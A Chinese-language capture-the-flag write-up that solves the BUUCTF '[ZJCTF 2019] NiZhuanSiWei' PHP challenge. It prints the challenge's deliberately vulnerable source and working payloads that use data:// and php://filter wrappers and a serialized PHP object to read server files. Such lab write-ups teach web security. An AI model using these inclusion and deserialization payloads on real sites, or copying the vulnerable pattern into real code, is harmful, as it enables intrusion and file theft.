BUUCTF之[ZJCTF 2019]NiZhuanSiWei
知识点: PHP伪协议
- php://filter
- data://
题目:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这题有三个关键点,需要分别绕过。
第一个绕过:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里可以用data或者是input伪协议绕过,比如:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
其中这里的data://text/plain
是data伪协议的写法,base64
是表示用base64编码的意思,d2VsY29tZSB0byB0aGUgempjdGY=
是welcome to the zjctf经过base64加密后得到的。
第二个绕过:
include($file); //useless.php
这里提示我们要先读取useless.php这个文件,这里用php://filter伪协议
file=php://filter/read=convert.base64-encode/resource=useless.php
其中这里的php://filter/read=convert.base64-encode/resource=
你可以理解为固定写法,useless.php
为要读取的文件
·
·
·
所以组合上面的两个关键点,先读取useless.php看看有没有上面提示
?file=php://filter/read=convert.base64-encode/resource=useless.php
&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
得到的base64加密后的数据:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
将上面base64解码后得到另一方后台代码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三个绕过:
嗯!虽然不是很懂,但是在php里看到class
就知道接下来是反序列化
的知识点(纯属做题经验)
所以这里构造反序列化payload:
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- O:4:“Flag”:1: // 这里表示构造一个对象,对象的名字为Flag(4个字符),并且这个对象里有一个变量
- s:4:“file”; // 这里表示对象变量的名为:file(4个字符)
- s:8:“flag.php”; // 这里表示对象变量的值为:flag.php(8个字符)
所以整合上面的三个知识点得到Payload:
?file=php://filter/read=convert.base64-encode/resource=useless.php
&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
但是很可惜,这个Payload并不能得到Flag(这里让我很迷惑!)。看了别人的WP才知道:
这里需要把file=php://filter/read=convert.base64-encode/resource=useless.php
改成file=useless.php
才可以得到Flag
?file=useless.php
&text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
总结:
这题很久之前做过一次,但是当时根本不知道怎么下手。所以看了别人的解题思路自己再做一边。后来又接触过几次PHP伪协议和反序列化的知识点,加深了印象。所以这次再做该题的时候并没有想当初那样看都看不懂。。。可以说是学到东西了!